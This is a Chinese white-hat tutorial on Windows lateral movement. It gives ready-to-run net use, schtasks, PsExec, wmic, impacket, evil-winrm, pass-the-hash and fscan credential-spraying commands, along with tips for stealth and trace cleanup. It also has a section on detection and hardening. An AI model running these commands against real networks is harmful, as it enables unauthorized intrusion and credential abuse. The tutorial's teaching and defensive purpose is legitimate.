内网横向移动:SMB、WMI、PsExec协议穿透与攻击
09-内网横向移动SMB、WMI、PsExec协议穿透与攻击合规声明本系列文章所有技术仅在本地靶场VulnHub / Metasploitable / 自建域环境或书面授权渗透测试中进行。未经授权的渗透测试属违法行为请勿对任何未经你书面授权的系统使用本文所述技术。本文是白帽教程核心目标是让防御者理解攻击链路、加固自身系统。一、什么是横向移动先把概念定死横向移动Lateral Movement就是用已经掌握的一组凭证去登录/执行内网里的其他机器把战果从一台机器扩散到一片机器。打个比方你偷偷拿到了小区物业的万能钥匙凭证之前只能进 1 号楼已攻陷主机现在可以刷卡进 2 号楼、3 号楼、地下车库……这个过程就是横向移动。它和纵向移动的区别要分清纵向从普通用户 → root/Administrator在一台机器内提升权限。横向从机器 A → 机器 B → 机器 C在同一权限等级上扩散。横向移动是内网渗透从点到面的关键一步。它靠的不是新漏洞而是已有凭证 系统信任机制——内网机器之间默认互相信任这才是最大的漏洞。再强调一个内网横向为什么这么容易的底层事实企业里80% 以上的机器共用同一套域管密码或本地管理员密码。运维为了省事批量装机、批量重置都用同一口令这就把一台机器的凭证变成了全网机器的凭证。横向移动的杀伤力本质上是被这种密码复用放大的——防御侧只要解决了密码复用横向移动的难度立刻上一个台阶。二、为什么 SMB 和 WMI 是主力通道横向移动的通道很多但攻防实战中SMB 和 WMI 是绝对主力原因很实在445/135 端口几乎无处不在。Windows 内网里SMB445负责文件和打印机共享WMI走 135 RPC负责远程管理这两项服务在域内机器上默认开启。想找一个没开 445 的 Windows 内网主机比找熊猫还难。不需要额外部署。别的通道可能要求目标开了 SSH、装了 AgentSMB/WMI 是 Windows 自带的随开随用。凭证直接可用。只要你有目标机器的本地管理员或域管理员凭证SMB/WMI 就能登录并执行命令。所以横向移动攻击的典型画像就是拿着域管密码一条网线插进内网逐个用 445 端口把每台机器摸一遍。补充一个机制层面的背景SMB 之所以能承担远程执行是因为 Windows 管理员登录机制本身的设计——域管理员默认就是全网机器的本地管理员Domain Admins 组被自动加入每台机器的 Administrators 组而管理员身份通过 SMB 的 ADMIN/C/C/C管理共享就能获得最高控制权。这台机器的管理口和共享口共用同一个 445 端口所以横向执行工具几乎都绕着 SMB 转。理解了这一点你就知道为什么横向移动的攻防都聚焦在 445 端口上。三、IPC$ 空连接与 net use横向的敲门砖3.1 什么是 IPC$IPC$Inter-Process Communication进程间通信是 SMB 协议暴露的一个匿名共享它本身不含文件作用是让客户端和服务器建立命名管道连接。只要建立成功就有了一个会话可以做各种后续操作枚举、上传、计划任务……。注意IPC$是 Windows 共享体系的公共门廊——你不需要知道机器上有哪些共享先连上 IPC$ 再说。3.2 net use 逐参数拆解net use \\192.168.1.12\ipc$ Admin2024! /user:CORP\administrator逐参数解释部分含义net useWindows 自带的建立网络连接命令\\192.168.1.12\ipc$目标机器的 IPC 共享路径Admin2024!密码用引号包裹防止特殊字符被解析/user:CORP\administrator指定身份格式是域名\用户名域用户或.\用户名本地用户命令成功会提示命令成功完成。此时你已经在 192.168.1.12 上建立了一个管理员身份的 SMB 会话。验证一下连接是否可用:: 列出目标机器的共享资源 net view \\192.168.1.12 :: 枚举 SMB 共享Kali 侧用 smbclient 更爽 smbclient -L 192.168.1.12 -U CORP/administrator%Admin2024!逐行解释net view列出对方共享smbclient -L是 Linux 侧的枚举命令-U 域/用户%密码直接带凭证认证。能看到ADMIN$、C$这类共享说明凭证有效且对方开了默认管理共享。为什么 net use 很重要它是所有 SMB 横向移动的前提——认证不过后面所有工具PsExec、计划任务都白搭。顺带一提空连接NULL Session老版本 WindowsWin7/2008 及更早的 SMB 允许匿名建立 IPC$ 连接——不用任何账号密码直接连\\ip\ipc$。空连接能用来枚举共享、用户名、系统信息是内网信息收集的老渠道net use \\192.168.1.12\ipc$ /user: :: 空连接建立后可以尝试枚举 net view \\192.168.1.12逐行解释密码和用户名都传空字符串就是不认证的匿名会话。现代系统默认已禁用空连接但老内网、NAS 设备、工控系统里仍大量存在。判断方法建立成功后再net view如果还能列共享说明没关。遇到这类系统侦察成本几乎为零。认证失败时的一个排查点net use报找不到网络路径通常是 445 端口被防火墙拦报用户名或密码错误才是凭证问题报拒绝访问可能是账号没有管理员权限。报错信息本身就是情报先看报错再换策略。四、at / schtasks计划任务下发建立会话后最简单的横向执行方式是计划任务让目标机器在指定时间以你的身份运行一个命令。4.1 老式 at 命令Win7/2008 时代:: 先建立 IPC 会话 net use \\192.168.1.12\ipc$ Admin2024! /user:CORP\administrator :: 创建计划任务时间是 10:00 at \\192.168.1.12 10:00 cmd.exe /c whoami C:\Windows\Temp\result.txt :: 稍后读取结果 type \\192.168.1.12\C$\Windows\Temp\result.txt逐行解释at命令在目标机器上创建一次性计划任务cmd.exe /c执行命令并输出到文件最后通过管理共享\\ip\C$\...直接读取结果文件。这种方式把命令执行和结果回传一次性搞定。4.2 新式 schtasksWin10/2012 标配:: 创建任务 schtasks /create /s 192.168.1.12 /u CORP\administrator /p Admin2024! \ /tn update_task /tr cmd.exe /c whoami C:\Windows\Temp\result.txt /sc once /st 10:00 :: 立即运行 schtasks /run /s 192.168.1.12 /tn update_task :: 删除任务清理痕迹 schtasks /delete /s 192.168.1.12 /tn update_task /f逐行解释/s指定远程主机/u和/p给凭证/tn任务名起个像样的名字如update_task降低关注度/tr要执行的命令/sc once /st 10:00设置只执行一次、时间为 10:00/run手动触发不干等时间点/delete /f跑完把任务删掉清理痕迹。注意/sc once /st 10:00的时间是目标机器的本地时间记得先对齐时区。at 与 schtasks 的选择at是老 API权限模型宽松、隐蔽性差任务直接可见但简单schtasks是新 API参数完整、支持直接指定用户。现代内网Win10/Server 2016一律用 schtasks老机器Win7/2008才需要 at 兜底。另外注意很多 EDR 对at命令有强规则因为它太老、正常运维几乎不用横向执行时 schtasks 更不容易触发告警。五、PsExec横向移动的元老5.1 原理ADMIN$ 服务安装PsExecSysinternals 工具的原理值得单独讲——它是后面无数工具的模板通过 SMB445连接目标的ADMIN$ 共享。把一个小服务程序如PSEXESVC.exe上传并安装成 Windows 服务。通过 **SCM服务控制管理器**启动该服务。服务以 SYSTEM 权限运行你的命令结果回传。翻译成人话“我把我的程序安到你的机器上当服务然后让 Windows 以最高权限帮我跑。”服务 SYSTEM 权限这就是 PsExec 的灵魂。5.2 原生用法:: Windows 版直接执行命令 psexec \\192.168.1.12 -u CORP\administrator -p Admin2024! cmd.exe :: Kali 版impacket 的 psexec.py python3 psexec.py CORP/administrator:Admin2024!192.168.1.12逐行解释psexec \\目标 -u 用户 -p 密码 cmd.exe直接在目标上开一个交互式 cmd走的是 ADMIN$ 服务通道impacket 的psexec.py是 Python 重写版参数格式是域/用户:密码目标同样拿到半交互 shell。注意PsExec 上传的服务文件有固定文件名特征PSEXESVC这是防守方经典检测点。PsExec 的一个易错点psexec默认要求目标是本地管理员域管默认满足。如果认证成功但报拒绝访问多半是目标机器把Domain Admins从本地管理员组里剔除过企业里这叫管理员提权管理是好防御这种情况只能换 WMI 或找该机器本地管理员的凭证。横向工具的选择不是哪个强用哪个而是哪个能用用哪个。用后的清理意识PsExec 在目标上会留下服务文件%SystemRoot%\PSEXESVC.exe和系统日志。合法测试结束时记得手动删除该文件、停止服务别把靶场里的习惯带到授权环境里——清理痕迹是职业素养的一部分。六、WMI 横向最低调的执行通道WMIWindows Management InstrumentationWindows 管理规范是 Windows 的远程管理接口通过 135 端口RPC工作。它横向移动的优势在于不像 PsExec 那样落地服务文件只在内存里执行痕迹更小。6.1 wmic 命令行方式:: 远程执行命令 wmic /node:192.168.1.12 /user:CORP\administrator /password:Admin2024! \ process call create cmd.exe /c whoami C:\Windows\Temp\result.txt逐行解释/node目标机器/user/password凭证process call create是 WMI 的创建进程方法——相当于远程让目标机执行指定命令。wmic 是 Win7/2008 时代的标配Win11 里已被移除但老内网里依然大量存在。6.2 impacket 套件全家桶三剑客对比Kali 自带 impacket它把横向移动工具做成了 Python 版全家桶。三剑客对比工具原理特点适用场景psexec.pySMB 服务安装交互式体验好但会落地服务文件需要交互 shellwmiexec.pyWMI 进程创建纯内存执行不落盘最隐蔽想少留痕smbexec.pySMB 命令管道无落地文件输出经过命名管道回传隐蔽执行# 三兄弟命令格式一致只是前缀不同python3 wmiexec.py CORP/administrator:Admin2024!192.168.1.12 python3 smbexec.py CORP/administrator:Admin2024!192.168.1.12逐行解释连上后都是半交互 shellC:\提示符。wmiexec.py 每执行一条命令就通过 WMI 建一次进程命令结束进程即消失smbexec.py 走的是 SMB 命名管道传输不落地任何文件。对抗性选择建议追求稳定用 psexec追求隐蔽用 wmiexec/smbexec。6.3 其他横向通道RDP 与 WinRMSMB/WMI 之外还有两条高频通道值得了解它们的适用条件不同① RDP3389拿到凭证后直接图形化登录。适合需要人肉操作的场景点界面、看屏幕且 RDP 会话比命令行留痕更隐蔽登录日志依然有。常用两个技巧:: 远程桌面命令行客户端配合凭证 mstsc /v:192.168.1.12 :: Kali 侧用 xfreerdp 免交互登录 xfreerdp /u:administrator /p:Admin2024! /v:192.168.1.12逐行解释mstsc是 Windows 自带远程桌面客户端/v指定目标xfreerdp是 Linux 下的开源 RDP 客户端凭证直接带在命令行里还能加/drive:、/clipboard等参数做文件传输和剪贴板联动。② WinRM5985/5986Windows 远程管理基于 HTTP/HTTPS。它比 SMB 更干净没有文件共享的强关联在某些 SMB 被防火墙封锁的网络里反而是唯一通道# Kali 侧用 evil-winrm 交互式 shellevil-winrm-i192.168.1.12-uadministrator-pAdmin2024!逐行解释evil-winrm是 WinRM 的渗透客户端连上后直接是 PowerShell 会话还支持自动上传下载文件、加载自定义脚本。WinRM 默认只在部分 Windows Server 版本开启目标没开 5985/5986 就用不了探测时先确认端口。通道选择建议优先 SMBpsexec/wmiexecRDP 做补充WinRM 当 SMB 被封锁时的备选。三条通道都试不通再回去看防火墙规则和网络可达性。7.1 原理为什么不用明文也能登录前面抓到的 NTLM Hash这里派上大用场了。Windows 的 NTLM 认证流程简化版是这样的客户端 ──(用密码的Hash加密一段挑战值)──► 服务器 ◄──────────(返回挑战值)──────────关键点整个认证过程中服务器验证的其实是客户端能不能用正确的 NTLM Hash 加密挑战值而不是明文密码本身。也就是说——只要你有正确的 NTLM Hash即使不知道明文密码也能完成认证。把这个机制再拆细一点你就理解为什么无法通过打补丁禁止服务器收到登录请求后不查密码明文只查自己数据库里存的那份 NTLM HashSAM/AD 里存的就是 Hash。服务器生成一段随机挑战值发给客户端。客户端用自己持有的 Hash 对挑战值做加密运算回传结果。服务器用自己数据库里的 Hash 做同样运算比对结果——一致就通过。看出问题了吗整个流程里密码从来没出现过双方比对的是两份 Hash 对同一挑战值的运算结果。攻击者手里有合法 Hash 时第 3 步对它来说和持有密码毫无区别。要堵住这条路只能让攻击者根本拿不到 Hash——这就是 Credential Guard、LAPS、管理员登录隔离存在的全部理由。这就是Pass-the-Hash哈希传递PtH我根本不需要破解你的密码我只要持有你的 Hash就能以你的身份登录系统。7.2 实战演示# 拿到某管理员 NTLM Hash32ed87bdb5fdc5e9cba88547376818d4# 用 impacket 全家桶直接带 Hash 登录不需要密码python3 psexec.py-hashes:32ed87bdb5fdc5e9cba88547376818d4\CORP/administrator192.168.1.12逐行解释-hashes参数接受LM:NT格式这里 LM 部分留空、只给 NTNTLMHash。impacket 直接用这个 Hash 完成认证根本不问密码。登录成功后你就是一个管理员——凭据的拥有者本人改不改密码都拦不住你因为密码改了 Hash 才变而你手里的是已经泄露的 Hash。7.3 防御视角PtH 为什么难防它不是漏洞利用而是认证机制本身的特性——Windows 必须允许 Hash 认证否则整个内网认证体系都得重写。你无法通过打补丁修掉它。所以防线只能是别让 Hash 泄露前面所有抓取手段的防御检测 Hash 的异常使用见第十节。再深一层理解 PtH 的检测本质PtH 攻击在网络日志上的表现是一个账号从非其登录主机发起了 NTLM 认证。具体怎么看出异常Windows 登录日志Event ID 4624里记录了 Logon Type——**Type 3网络登录**是 SMB/NetBIOS 的典型特征而某账号平时从不使用 Type 3、某源 IP 从不是它的工作机这两个交叉就能命中。防御侧一般用账号-登录源-登录类型三个维度的行为基线来识别这也是现代 SIEM 里最有效的 PtH 检测思路。八、fscan 一键横向思路解析fscan 除了扫描还有一个一键横向思路配合其弱口令和漏洞检测# 拿到一批凭证后批量打 SMB 弱口令./fscan-h192.168.1.0/24-msmb-pwdAdmin2024!-userCORP\administrator# 输出中能看到哪些机器用这组凭证能登上去# [] 192.168.1.15:445: SMB Administrator Password [Admin2024!]# [] 192.168.1.16:445: SMB Administrator Password [Admin2024!]# [] 192.168.1.18:445: SMB Administrator Password [Admin2024!]逐行解释-m smb限定只测 SMB 服务-pwd指定已知密码-user指定账号。内网里管理员同密码的普遍性密码复用让这种批量验证命中率极高——你只需要一组凭证fscan 帮你找出所有能用的机器。这就解释了为什么内网渗透经常一夜之间全网沦陷一组成员凭证 一个 445 端口 自动批量验证 全网所有密码相同的机器全部失守。九、靶场完整演示一条横向链路在本地靶场自建 Win7 Server 2008 双机环境走一遍第一步在机器 A已拿下用 mimikatz 抓到域管 Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4 第二步fscan 扫描机器 B/C/D 的 445 端口是否开放 ./fscan -h 192.168.1.0/24 -p 445 第三步用 impacket 全家桶对每台机器发起 PtH 登录 python3 wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 CORP/administrator192.168.1.16 第四步在每台机器上执行 ipconfig /all收集网段和 DNS 找下一层网络的入口 第五步持续重复凭证抓取 → 横向 → 再抓取一路推向域控这条链路里wmiexec 的纯内存执行 计划任务清理 高频凭证复用就是真实红队最常用的低噪声横向打法。动手验证的三个验收标准自己练的时候对照连通性验证每条命令执行后都要能看到回显或结果文件杜绝命令发了但不知道成没成。权限验证登录每台机器后第一件事跑whoami确认拿到的是目标凭证的权限尤其确认是不是域管。清理验证任务删除、服务清理、连接断开回到最初状态再验收下一台。做完整条链路后在域控上检查事件日志——你会惊讶地发现自己留下了多少痕迹这比任何教材都直观。十、检测与防御横向移动的天敌清单10.1 445 端口管控治本之策网络层防火墙/交换机对员工区到服务器区的 445 端口做最小化放行业务不需要 SMB 互通的网段之间直接阻断。主机层不开文件共享的机器禁用 SMBv1 并考虑停用 SMB 服务关闭不必要的 ADMIN、C、C、C管理共享net share调整。10.2 PtH 的专项防御开启 Credential Guard把 Hash 存入 VBS 隔离环境攻击者即使拿下主机也读不到可用于 PtH 的 Hash。本地管理员密码随机化LAPS即使某台机器 Hash 泄露也只是这一台的无法横向复用。限制管理员登录目标域管只在专用管理机/域控登录不在员工机使用高权限账号从源头减少高价值 Hash 在低价值机器上停留。10.3 凭据与行为监控检测点说明同一账号短时间登录多台机器横向移动的最强信号正常管理员不会 1 分钟登 10 台机器登录源异常管理员从员工 PC 登录域控结合登录日志Event ID 4624分析计划任务/服务批量创建Event ID 4698计划任务创建、7045服务安装告警非工作时段登录夜间批量登录结合登录时间和账号习惯判断脚本小子常在深夜集中操作PSEXESVC服务文件/服务名特征Sysmon 规则直接命中445 端口突发高频连接疑似 SMB 批量横向Sysmon Windows 安全日志 登录分析基本能覆盖上面所有点。横向移动在日志层面其实是重灾区——它要跟多台机器建立认证会话事件记录想藏都藏不住关键是防守方有没有在看。补几个具体的日志字段横向移动的攻击日志里高频出现的事件 ID 和字段包括——4624登录成功看Logon Type和Source Network Address、4625登录失败异常爆破、4648显式凭据登录PsExec 的特征、7045新服务安装PsExec/恶意服务的痕迹、4698新计划任务。把这些事件按来源 IP 目标机器聚合一条攻击链的走向就勾勒出来了。10.4 网络分段兜底即便单点防护全被绕过把域控、数据库放进独立网段并做严格的东西向访问控制横向移动到核心区就会被物理性阻断。纵深防御的意义就在于此任何一层失守下一层仍然能拦住。管理面隔离是其中最常见也最有效的一种所有管理操作RDP、SSH、WinRM、SMB 管理共享强制走跳板机/堡垒机内网机器只对跳板机开放管理端口其他来源一律拒绝。这样即使攻击者拿到一组凭证他也没法从普通员工机直连服务器管理口——必须先过堡垒机的认证和审计。横向移动打击的是到处都能连管理面隔离打击的正是这个到处。小结这一篇把横向移动的核心链路讲完了为什么 SMB/WMI 是主力通道、net use 如何建立 IPC$ 会话含空连接、at/schtasks 如何下发计划任务、PsExec 的ADMIN$服务安装原理、WMI 的纯内存执行、RDP/WinRM 备选通道以及不破解密码直接认证的 Pass-the-Hash。最后用 fscan 演示了一组凭证批量扫全网的现实攻击面。对防御者记住一句话横向移动攻的是信任关系防横向移动就要砍信任关系——445 最小化、Credential Guard、LAPS、管理员登录隔离缺一不可。给读者的收尾建议在自建的双机靶场里把本文每一条命令亲手跑一遍直到凭证 → 通道 → 执行 → 清理四个环节能一气呵成。当你在一台机器上能流畅地调兵遣将时横向移动这门功课就算真正过关了。至于那个管理着全网账号密码的地方就是下一个阶段的故事了——但这篇的核心你已经完全掌握了。
上一篇/下一篇内容由系统自动关联
返回资讯列表 →